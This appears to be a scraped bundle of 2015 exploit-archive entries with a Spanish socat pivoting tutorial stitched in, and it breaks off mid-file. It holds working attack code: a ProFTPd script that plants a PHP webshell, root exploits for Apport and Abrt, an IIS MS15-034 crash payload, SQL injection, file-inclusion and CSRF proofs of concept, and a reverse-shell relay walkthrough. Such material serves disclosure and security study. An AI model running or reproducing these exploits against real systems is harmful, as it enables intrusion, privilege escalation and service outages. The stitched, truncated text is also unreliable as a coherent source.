# Title: ProFTPd 1.3.5 Remote Command Execution
# Date : 20/04/2015
# Author: R-73eN
# Software: ProFTPd 1.3.5 with mod_copy
# Tested : Kali Linux 1.06
# CVE : 2015-3306
# Greetz to Vadim Melihow for all the hard work .
import socket
import sys
import requests
#Banner
banner = ""
banner += " ___ __ ____ _ _ \n"
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"
banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if(len(sys.argv) < 4):
print '\n Usage : exploit.py server directory cmd'
else:
server = sys.argv[1] #Vulnerable Server
directory = sys.argv[2] # Path accessible from web .....
cmd = sys.argv[3] #PHP payload to be executed
evil = '<?php system("' + cmd + '") ?>'
s.connect((server, 21))
s.recv(1024)
print '[ + ] Connected to server [ + ] \n'
s.send('site cpfr /etc/passwd')
s.recv(1024)
s.send('site cpto ' + evil)
s.recv(1024)
s.send('site cpfr /proc/self/fd/3')
s.recv(1024)
s.send('site cpto ' + directory + 'infogen.php')
s.recv(1024)
s.close()
print '[ + ] Payload sended [ + ]\n'
print '[ + ] Executing Payload [ + ]\n'
r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP
if (r.status_code == 200):
print '[ * ] Payload Executed Succesfully [ * ]'
else:
print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]'
print '\n http://infogen.al/'
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863128560
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Socat es una herramienta que nos permite crear comunicaciones bidireccionales. Se le conoce como el netcat con esteroides, ya que es una herramienta tan completa que es casi imposible verla entera, por lo que vamos a centrarnos en los puntos más útiles para pivoting.
Índice:
- Introducción
- Redirecciones
Introducción
Socat es una herramienta para sistemas Linux, aunque también tiene ciertos binarios para Windows, pero no son muy comunes, de todas formas para descargar ambos binarios los links son los siguientes:
- Linux (32 y 64 Bits)
- Windows (64 Bits)
La estructura de socat es muy sencilla, sin embargo la sintaxis puede parecer compleja al principio:
socat [opciones] <dirección origen> <dirección destino>
La sintaxis para las direcciones es:
<protocolo>:<ip>:<puerto>
El «laboratorio» en el que vamos a ver su funcionamiento es el siguiente:
- 4 Equipos
- Kali –> Mi equipo de atacante
- IP: 192.168.10.10
- Windows 7 de 64 Bits
- IP: 192.168.10.40 y 192.168.20.40 –> 2 Interfaces de Red
- Debian 1
- IP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red
- Debian 2
- IP: 192.168.30.20
- Kali –> Mi equipo de atacante

Redirecciones
Para practicar y ver como hacer redirecciones vamos a intentar enviarnos una Reverse Shell desde el Debian 2 (192.168.30.20) y Kali (192.168.10.10):
Primero nos ponemos en escucha desde nuestro kali, para tenerlo desde un principio listo:

Siguiendo el diagrama, la máquina con la que Kali tiene comunicación es el Windows 7, por lo que preparamos socat en esta máquina:

socat tcp-l:443,fork,reuseaddr tcp:192.168.10.10.443
Vamos a explicar el comando:
- tcp-l:443 –> TCP-L es la abreviatura de TCP-LISTEN, escribiendo
TCP-L:<puerto>
nos ponemos en escucha desde ese puerto. - fork –> Indicamos que socat pueda aceptar más de una conexión.
- reuseaddr –> permite reutilizar el puerto después de la finalización del programa
fork y reuseaddr se suelen usar siempre que nos pongamos en escucha con socat.
- tcp:192.168.10.10:443 –> recordando que socat maneja una estructura de <origen> <destino>, en este caso estamos indicando que el destino es el puerto 443 de la dirección 192.168.10.10.
Conociendo los argumentos del comando usado a nivel conceptual básicamente estamos diciendo que todo lo que reciba el equipo Windows por el puerto 443 lo envíe al puerto 443 del Kali, que es donde estamos en escucha.
Con esto listo, vamos a la máquina con la que Windows tiene comunicación (además del Kali), allí, también vamos a ejecutar socat usando el mismo concepto:

El comando al fin y al cabo es el mismo, todo lo que reciba el Debian por el puerto 443, lo mandaré al puerto 443 del equipo Windows. Donde el equipo Windows todo lo que reciba lo mandará al puerto 443 del Kali. De esta forma, y con todo esta estructura ya montada, si desde el Debian 2 nos enviamos una Shell al puerto 443 del Debian 1, obtendremos la Reverse Shell en el kali:


Si nos damos cuenta, obtenemos la conexión desde la IP del Windows, todo gracias a las redirecciones. Además, la Shell es totalmente funcional:

Esto es un ejemplo de redirecciones para que nos llegue una Reverse Shell, sin embargo, también podemos usar socat para por ejemplo, redirecciones internas. Es decir, imaginémonos la situación donde yo tengo un servidor web corriendo en mi kali, pero solo accesible de forma interna, podría tunelizarlo a otro puerto usando socat:
Desde el Windows el Servidor Web de mi Kali no es accesible:

Pero dentro de nuestro kali podemos hacer una redirección:

De esta forma, estamos abriendo el puerto 8080 poniéndonos en escucha, y todo lo que recibamos desde este puerto, lo redirigimos a nuestro puerto 80 local.
Con esto, si intentamos desde el Windows acceder al 8080:

Vemos que podemos acceder al servidor 80, el cual a pesar de solo estar abierto de forma interna, podemos acceder a él.
Hasta ahora la dirección IP no ha cambiado, siempre ha sido 127.0.0.1 cuando hemos apuntado a algún sitio, sin embargo, socat nos permite colocar cualquier IP.
Ejemplo:

De esta forma le estamos diciendo que además de ponernos en escucha en el puerto 777, todo lo que se reciba a este puerto, se mande al puerto 80 del Kali (ahora está accesible), donde está el servidor web:

Y vemos que accedemos sin problemas desde el puerto 777 local.
Y hasta aquí las funcionalidades de socat que nos puede ser muy útil para pivoting. Socat es una gran y compleja herramienta, aquí solo hemos visto la parte enfocada a redireccionamiento de conexiones. Veremos más cositas en otros posts. Y conforme aprenda más sobre Pivoting con Socat, también se irá agregando.
=======================================================================
title: SQL Injection
product: WordPress Tune Library Plugin
vulnerable version: 1.5.4 (and probably below)
fixed version: 1.5.5
CVE number: CVE-2015-3314
impact: CVSS Base Score 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P)
homepage: https://wordpress.org/plugins/tune-library/
found: 2015-01-09
by: Hannes Trunde
mail: hannes.trunde@gmail.com
twitter: @hannestrunde
=======================================================================
Plugin description:
-------------------
"This plugin is used to import an XML iTunes Music Library file into your
WordPress database. Once imported, you can display a complete listing of your
music collection on a page of your WordPress site."
Source: https://wordpress.org/plugins/tune-library/
Recommendation:
---------------
The author has provided a fixed plugin version which should be installed
immediately.
Vulnerability overview/description:
-----------------------------------
Because of insufficient input validation, a sql injection attack can be
performed when sorting artists by letter.
However, special conditions must be met in order to exploit this vulnerability:
1) The wordpress security feature wp_magic_quotes(), which is enabled by
default, has to be disabled.
2) The plugin specific option "Filter artists by letter and show alphabetical
navigation" has to be enabled.
Proof of concept:
-----------------
The following HTTP request to the Tune Library page returns version, current
user and db name:
===============================================================================
http://www.site.com/?page_id=2&artistletter=G' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20
===============================================================================
Contact timeline:
------------------------
2015-04-08: Contacting author via mail.
2015-04-09: Author replies and announces a fix within a week.
2015-04-12: Mail from author, stating that plugin has been updated.
2015-04-14: Requesting CVE via post to the open source software security mailing
list: http://openwall.com/lists/oss-security/2015/04/14/5
2015-04-20: Release of security advisory.
Solution:
---------
Update to the most recent plugin version.
Workaround:
-----------
Make sure that wp_magic_quotes() is enabled and/or disable "Filter artists by
letter..." option.
source: https://www.securityfocus.com/bid/52025/info
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
11in1 1.2.1 is vulnerable; other versions may also be affected.
<form action="http://www.example.com/admin/index.php?class=do&action=addTopic" method="post">
<input type="hidden" name="name" value="New Topic Name here">
<input type="hidden" name="sec" value="3">
<input type="hidden" name="content" value="New Topic Content here">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
source: https://www.securityfocus.com/bid/52025/info
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
11in1 1.2.1 is vulnerable; other versions may also be affected.
http://www.example.com/admin/index.php?class=../../../tmp/file%00
source: https://www.securityfocus.com/bid/52025/info
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
11in1 1.2.1 is vulnerable; other versions may also be affected.
http://www.example.com/index.php?class=../../../tmp/file%00
#!/bin/sh
#
# CVE-2015-1318
#
# Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758
#
# Example:
#
# % uname -a
# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
#
# % lsb_release -a
# No LSB modules are available.
# Distributor ID: Ubuntu
# Description: Ubuntu 14.04.2 LTS
# Release: 14.04
# Codename: trusty
#
# % dpkg -l | grep '^ii apport ' | awk -F ' ' '{ print $2 " " $3 }'
# apport 2.14.1-0ubuntu3.8
#
# % id
# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)
#
# % ./apport.sh
# pwned-4.3# id
# uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...)
# pwned-4.3# exit
TEMPDIR=$(mktemp -d)
cd ${TEMPDIR}
cp /bin/busybox .
mkdir -p dev mnt usr/share/apport
(
cat << EOF
#!/busybox sh
(
cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned
chmod 5755 /mnt/1/root/tmp/pwned
)
EOF
) > usr/share/apport/apport
chmod +x usr/share/apport/apport
(
cat << EOF
mount -o bind . .
cd .
mount --rbind /proc mnt
touch dev/null
pivot_root . .
./busybox sleep 500 &
SLEEP=\$!
./busybox sleep 1
./busybox kill -11 \$SLEEP
./busybox sleep 5
EOF
) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \
lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null
/tmp/pwned -p
rm -Rf ${TEMPDIR}
######################
# Exploit Title : Wordpress Ajax Store Locator <= 1.2 SQL Injection Vulnerability
# Exploit Author : Claudio Viviani
# Vendor Homepage : http://codecanyon.net/item/ajax-store-locator-wordpress/5293356
# Software Link : Premium
# Dork Google: inurl:ajax-store-locator
# index of ajax-store-locator
# Date : 2015-03-29
# Tested on : Windows 7 / Mozilla Firefox
# Linux / Mozilla Firefox
######################
# Info:
The "sl_dal_searchlocation_cbf" ajax function is affected from SQL Injection vulnerability
"StoreLocation" var is not sanitized
# PoC Exploit:
http://TARGET/wordpress/wp-admin/admin-ajax.php?action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1 AND (SELECT * FROM (SELECT(SLEEP(10)))LCKZ)
StoreLocation's value must contain "~" delimiter
$storeLoc = $_REQUEST["StoreLocation"];
...
...
$qryVal = explode("~", $storeLoc);
$sql_query = "SELECT a.*,b.*, 0 as ......... LEFT JOIN `$sl_tb_pluginset` as b ON (1=1) WHERE a.id=$qryVal[1]"
# PoC sqlmap:
sqlmap -u "http://TARGET/wordpress/wp-admin/admin-ajax.php?action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1" -p StoreLocation --dbms mysql
[18:24:11] [INFO] GET parameter 'StoreLocation' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[18:24:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:24:18] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:24:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[18:24:29] [INFO] checking if the injection point on GET parameter 'StoreLocation' is a false positive
GET parameter 'StoreLocation' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 89 HTTP(s) requests:
---
Parameter: StoreLocation (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1 AND (SELECT * FROM (SELECT(SLEEP(5)))LCKZ)
---
[18:29:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: PHP 5.3.3, Apache 2.2.3
back-end DBMS: MySQL 5.0.12
#####################
Discovered By : Claudio Viviani
http://www.homelab.it
http://adf.ly/1F1MNw (Full HomelabIT Archive Exploit)
http://ffhd.homelab.it (Free Fuzzy Hashes Database)
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
#####################
#Tested on Win Srv 2012R2.
import socket,sys
if len(sys.argv)<=1:
sys.exit('Give me an IP')
Host = sys.argv[1]
def SendPayload(Payload, Host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host, 80))
s.send(Payload)
s.recv(1024)
s.close()
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
SendPayload(Init, Host)
SendPayload(Payload, Host)
# Exploit Title :WordPress MiwoFTP Plugin 1.0.5 Arbitrary File Download Exploit
# Vendor :Miwisoft LLC
# Vendor Homepage :http://www.miwisoft.com
# Version :1.0.5
# Tested on :Win7/Chrome/Firefox
# Exploit Author :Necmettin COSKUN =>@babayarisi
# Discovery date :04/15/2015
MiwoFTP is a file manager plugin for Wordpress.
Description
================
Wordpress MiwoFTP Plugin 1.0.5 suffers from arbitrary file download vulnerability.
Poc Exploit
================
http://localhost/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=/&item=wp-config.php&order=name&srt=yes
================
#RCE/XSS/CSRF by Gjoko 'LiquidWorm' Krstic
#http://www.exploit-db.com/exploits/36763/
#http://www.exploit-db.com/exploits/36762/
#http://www.exploit-db.com/exploits/36761/
================
Discovered by:
================
Necmettin COSKUN |GrisapkaGuvenlikGrubu|4ewa2getha!
/*
UNTESTED - MS15-034 Checker
THE BUG:
8a8b2112 56 push esi
8a8b2113 6a00 push 0
8a8b2115 2bc7 sub eax,edi
8a8b2117 6a01 push 1
8a8b2119 1bca sbb ecx,edx
8a8b211b 51 push ecx
8a8b211c 50 push eax
8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1) ; here
ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4
BY: john.b.hale@gmai.com
Twitter: @rhcp011235
*/
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>
int connect_to_server(char *ip)
{
int sockfd = 0, n = 0;
struct sockaddr_in serv_addr;
struct hostent *server;
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Error : Could not create socket \n");
return 1;
}
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(80);
if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
{
printf("\n inet_pton error occured\n");
return 1;
}
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("\n Error : Connect Failed \n");
return 1;
}
return sockfd;
}
int main(int argc, char *argv[])
{
int n = 0;
int sockfd;
char recvBuff[1024];
// Check server
char request[] = "GET / HTTP/1.0\r\n\r\n";
// our evil buffer
char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
if(argc != 2)
{
printf("\n Usage: %s <ip of server> \n",argv[0]);
return 1;
}
printf("[*] Audit Started\n");
sockfd = connect_to_server(argv[1]);
write(sockfd, request, strlen(request));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (!strstr(recvBuff,"Microsoft"))
{
printf("[*] NOT IIS\n");
exit(1);
}
sockfd = connect_to_server(argv[1]);
write(sockfd, request1, strlen(request1));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (strstr(recvBuff,"Requested Range Not Satisfiable"))
{
printf("[!!] Looks VULN\n");
exit(1);
} else if(strstr(recvBuff,"The request has an invalid header name")) {
printf("[*] Looks Patched");
} else
printf("[*] Unexpected response, cannot discern patch status");
}
source: https://www.securityfocus.com/bid/51991/info
STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected.
http://www.example.com/team.php?team=[SQLi]'
source: https://www.securityfocus.com/bid/51995/info
EditWrxLite CMS is prone to a remote command-execution vulnerability.
Attackers can exploit this issue to execute arbitrary commands with the privileges of the affected application.
http://www.example.com/editwrx/wrx.cgi?download=;uname%20-a|
source: https://www.securityfocus.com/bid/51991/info
STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected.
http://www.example.com/prospect.php?team=[SQLi]'
source: https://www.securityfocus.com/bid/51991/info
STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected.
http://www.example.com/prospects.php?team=[SQLi]'
source: https://www.securityfocus.com/bid/51987/info
ProWiki is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/wiki4d/wiki.cgi?action=browse&id=[XSS]
######################
# Exploit Title : Wordpress Video Gallery 2.8 SQL Injection Vulnerabilitiey
# Exploit Author : Claudio Viviani
# Vendor Homepage : http://www.apptha.com/category/extension/Wordpress/Video-Gallery
# Software Link : https://downloads.wordpress.org/plugin/contus-video-gallery.2.8.zip
# Dork Google: inurl:/wp-admin/admin-ajax.php?action=googleadsense
# Date : 2015-04-04
# Tested on : Windows 7 / Mozilla Firefox
Linux / Mozilla Firefox
######################
# Description
Wordpress Video Gallery 2.8 suffers from SQL injection
Location file: /contus-video-gallery/hdflvvideoshare.php
add_action('wp_ajax_googleadsense' ,'google_adsense');
add_action('wp_ajax_nonpriv_googleadsense' ,'google_adsense');
function google_adsense(){
global $wpdb;
$vid = $_GET['vid'];
$google_adsense_id = $wpdb->get_var('SELECT google_adsense_value FROM '.$wpdb->prefix.'hdflvvideoshare WHERE vid ='.$vid);
$query = $wpdb->get_var('SELECT googleadsense_details FROM '.$wpdb->prefix.'hdflvvideoshare_vgoogleadsense WHERE id='.$google_adsense_id);
$google_adsense = unserialize($query);
echo $google_adsense['googleadsense_code'];
die();
$vid = $_GET['vid']; is not sanitized
######################
# PoC
http://target/wp-admin/admin-ajax.php?action=googleadsense&vid=[SQLi]
######################
# Vulnerability Disclosure Timeline:
2015-04-04: Discovered vulnerability
2015-04-06: Vendor Notification
2015-04-06: Vendor Response/Feedback
2015-04-07: Vendor Send Fix/Patch (same version number)
2015-04-13: Public Disclosure
#######################
Discovered By : Claudio Viviani
http://www.homelab.it
http://ffhd.homelab.it (Free Fuzzy Hashes Database)
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
#####################
source: https://www.securityfocus.com/bid/51985/info
D-Link DAP-1150 is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected device. Other attacks are also possible.
D-Link DAP-1150 firmware version 1.2.94 is vulnerable; other versions may also be affected.
<html>
<head>
<title>Exploit for D-Link DAP 1150. Made by MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
for (var i=1;i<=3;i++) {
var ifr = document.createElement("iframe");
ifr.setAttribute('name', 'csrf'+i);
ifr.setAttribute('width', '0');
ifr.setAttribute('height', '0');
document.body.appendChild(ifr);
}
CSRF1();
setTimeout(CSRF2,1000);
setTimeout(CSRF3,2000);
}
function CSRF1() {
window.frames["csrf3"].document.body.innerHTML = '<form name="hack"
action="http://www.example.com/index.cgi"; method="get">\n<input type="hidden"
name="v2" value="y">\n<input type="hidden" name="rq" value="y">\n<input
type="hidden" name="res_json" value="y">\n<input type="hidden"
name="res_data_type" value="json">\n<input type="hidden"
name="res_config_action" value="3">\n<input type="hidden"
name="res_config_id" value="7">\n<input type="hidden" name="res_struct_size"
value="0">\n<input type="hidden" name="res_buf"
value="{%22manual%22:true,%20%22ifname%22:%22%22,%20%22servers%22:%2250.50.50.50%22,%20%22defroute%22:true}">\n</form>';
window.frames["csrf3"].document.hack.submit();
}
function CSRF2() {
window.frames["csrf4"].document.body.innerHTML = '<form name="hack"
action="http://www.example.com/index.cgi"; method="get">\n<input type="hidden"
name="res_cmd" value="20">\n<input type="hidden" name="res_buf"
value="null">\n<input type="hidden" name="res_cmd_type" value="bl">\n<input
type="hidden" name="v2" value="y">\n<input type="hidden" name="rq"
value="y">\n</form>';
window.frames["csrf4"].document.hack.submit();
}
function CSRF3() {
window.frames["csrf2"].document.body.innerHTML = '<form name="hack"
action="http://www.example.com/index.cgi"; method="get">\n<input type="hidden"
name="v2" value="y">\n<input type="hidden" name="rq" value="y">\n<input
type="hidden" name="res_config_action" value="3">\n<input type="hidden"
name="res_config_id" value="69">\n<input type="hidden"
name="res_struct_size" value="1">\n<input type="hidden" name="res_buf"
value="password|">\n</form>';
window.frames["csrf2"].document.hack.submit();
}
</script>
</body>
</html>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <stdio.h>
#include <signal.h>
#include <err.h>
#include <string.h>
#include <alloca.h>
#include <limits.h>
#include <sys/inotify.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
//
// This is a race condition exploit for CVE-2015-1862, targeting Fedora.
//
// Note: It can take a few minutes to win the race condition.
//
// -- taviso@cmpxchg8b.com, April 2015.
//
// $ cat /etc/fedora-release
// Fedora release 21 (Twenty One)
// $ ./a.out /etc/passwd
// [ wait a few minutes ]
// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race...
// Exploit successful...
// -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd
//
static const char kAbrtPrefix[] = "/var/tmp/abrt/";
static const size_t kMaxEventBuf = 8192;
static const size_t kUnlinkAttempts = 8192 * 2;
static const int kCrashDelay = 10000;
static pid_t create_abrt_events(const char *name);
int main(int argc, char **argv)
{
int fd, i;
int watch;
pid_t child;
struct stat statbuf;
struct inotify_event *ev;
char *eventbuf = alloca(kMaxEventBuf);
ssize_t size;
// First argument is the filename user wants us to chown().
if (argc != 2) {
errx(EXIT_FAILURE, "please specify filename to chown (e.g. /etc/passwd)");
}
// This is required as we need to make different comm names to avoid
// triggering abrt rate limiting, so we fork()/execve() different names.
if (strcmp(argv[1], "crash") == 0) {
__builtin_trap();
}
// Setup inotify, and add a watch on the abrt directory.
if ((fd = inotify_init()) < 0) {
err(EXIT_FAILURE, "unable to initialize inotify");
}
if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) {
err(EXIT_FAILURE, "failed to create new watch descriptor");
}
// Start causing crashes so that abrt generates reports.
if ((child = create_abrt_events(*argv)) == -1) {
err(EXIT_FAILURE, "failed to generate abrt reports");
}
// Now start processing inotify events.
while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) {
// We can receive multiple events per read, so check each one.
for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) {
char dirname[NAME_MAX];
char mapsname[NAME_MAX];
char command[1024];
// If this is a new ccpp report, we can start trying to race it.
if (strncmp(ev->name, "ccpp", 4) != 0) {
continue;
}
// Construct pathnames.
strncpy(dirname, kAbrtPrefix, sizeof dirname);
strncat(dirname, ev->name, sizeof dirname);
strncpy(mapsname, dirname, sizeof dirname);
strncat(mapsname, "/maps", sizeof mapsname);
fprintf(stderr, "Detected %s, attempting to race...\n", ev->name);
// Check if we need to wait for the next event or not.
while (access(dirname, F_OK) == 0) {
for (i = 0; i < kUnlinkAttempts; i++) {
// We need to unlink() and symlink() the file to win.
if (unlink(mapsname) != 0) {
continue;
}
// We won the first race, now attempt to win the
// second race....
if (symlink(argv[1], mapsname) != 0) {
break;
}
// This looks good, but doesn't mean we won, it's possible
// chown() might have happened while the file was unlinked.
//
// Give it a few microseconds to run chown()...just in case
// we did win.
usleep(10);
if (stat(argv[1], &statbuf) != 0) {
errx(EXIT_FAILURE, "unable to stat target file %s", argv[1]);
}
if (statbuf.st_uid != getuid()) {
break;
}
fprintf(stderr, "\tExploit successful...\n");
// We're the new owner, run ls -l to show user.
sprintf(command, "ls -l %s", argv[1]);
system(command);
return EXIT_SUCCESS;
}
}
fprintf(stderr, "\tDidn't win, trying again!\n");
}
}
err(EXIT_FAILURE, "failed to read inotify event");
}
// This routine attempts to generate new abrt events. We can't just crash,
// because abrt sanely tries to rate limit report creation, so we need a new
// comm name for each crash.
static pid_t create_abrt_events(const char *name)
{
char *newname;
int status;
pid_t child, pid;
// Create a child process to generate events.
if ((child = fork()) != 0)
return child;
// Make sure we stop when parent dies.
prctl(PR_SET_PDEATHSIG, SIGKILL);
while (true) {
// Choose a new unused filename
newname = tmpnam(0);
// Make sure we're not too fast.
usleep(kCrashDelay);
// Create a new crashing subprocess.
if ((pid = fork()) == 0) {
if (link(name, newname) != 0) {
err(EXIT_FAILURE, "failed to create a new exename");
}
// Execute crashing process.
execl(newname, newname, "crash", NULL);
// This should always work.
err(EXIT_FAILURE, "unexpected execve failure");
}
// Reap crashed subprocess.
if (waitpid(pid, &status, 0) != pid) {
err(EXIT_FAILURE, "waitpid failure");
}
// Clean up the temporary name.
if (unlink(newname) != 0) {
err(EXIT_FAILURE, "failed to clean up");
}
// Make sure it crashed as expected.
if (!WIFSIGNALED(status)) {
errx(EXIT_FAILURE, "something went wrong");
}
}
return child;
}
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <elf.h>
#include <err.h>
#include <syslog.h>
#include <sched.h>
#include <linux/sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/auxv.h>
#include <sys/wait.h>
# warning this file must be compiled with -static
//
// Apport/Abrt Vulnerability Demo Exploit.
//
// Apport: CVE-2015-1318
// Abrt: CVE-2015-1862
//
// -- taviso@cmpxchg8b.com, April 2015.
//
// $ gcc -static newpid.c
// $ ./a.out
// uid=0(root) gid=0(root) groups=0(root)
// sh-4.3# exit
// exit
//
// Hint: To get libc.a,
// yum install glibc-static or apt-get install libc6-dev
//
int main(int argc, char **argv)
{
int status;
Elf32_Phdr *hdr;
pid_t wrapper;
pid_t init;
pid_t subprocess;
unsigned i;
// Verify this is a static executable by checking the program headers for a
// dynamic segment. Originally I thought just checking AT_BASE would work,
// but that isnt reliable across many kernels.
hdr = (void *) getauxval(AT_PHDR);
// If we find any PT_DYNAMIC, then this is probably not a static binary.
for (i = 0; i < getauxval(AT_PHNUM); i++) {
if (hdr[i].p_type == PT_DYNAMIC) {
errx(EXIT_FAILURE, "you *must* compile with -static");
}
}
// If execution reached here, it looks like we're a static executable. If
// I'm root, then we've convinced the core handler to run us, so create a
// setuid root executable that can be used outside the chroot.
if (getuid() == 0) {
if (chown("sh", 0, 0) != 0)
exit(EXIT_FAILURE);
if (chmod("sh", 04755) != 0)
exit(EXIT_FAILURE);
return EXIT_SUCCESS;
}
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
// a shell and cleanup.
if (setuid(0) == 0) {
system("id");
system("rm -rf exploit");
execlp("sh", "sh", NULL);
// Something went wrong.
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
}
// It looks like the exploit hasn't run yet, so create a chroot.
if (mkdir("exploit", 0755) != 0
|| mkdir("exploit/usr", 0755) != 0
|| mkdir("exploit/usr/share", 0755) != 0
|| mkdir("exploit/usr/share/apport", 0755) != 0
|| mkdir("exploit/usr/libexec", 0755) != 0) {
err(EXIT_FAILURE, "failed to create chroot directory");
}
// Create links to the exploit locations we need.
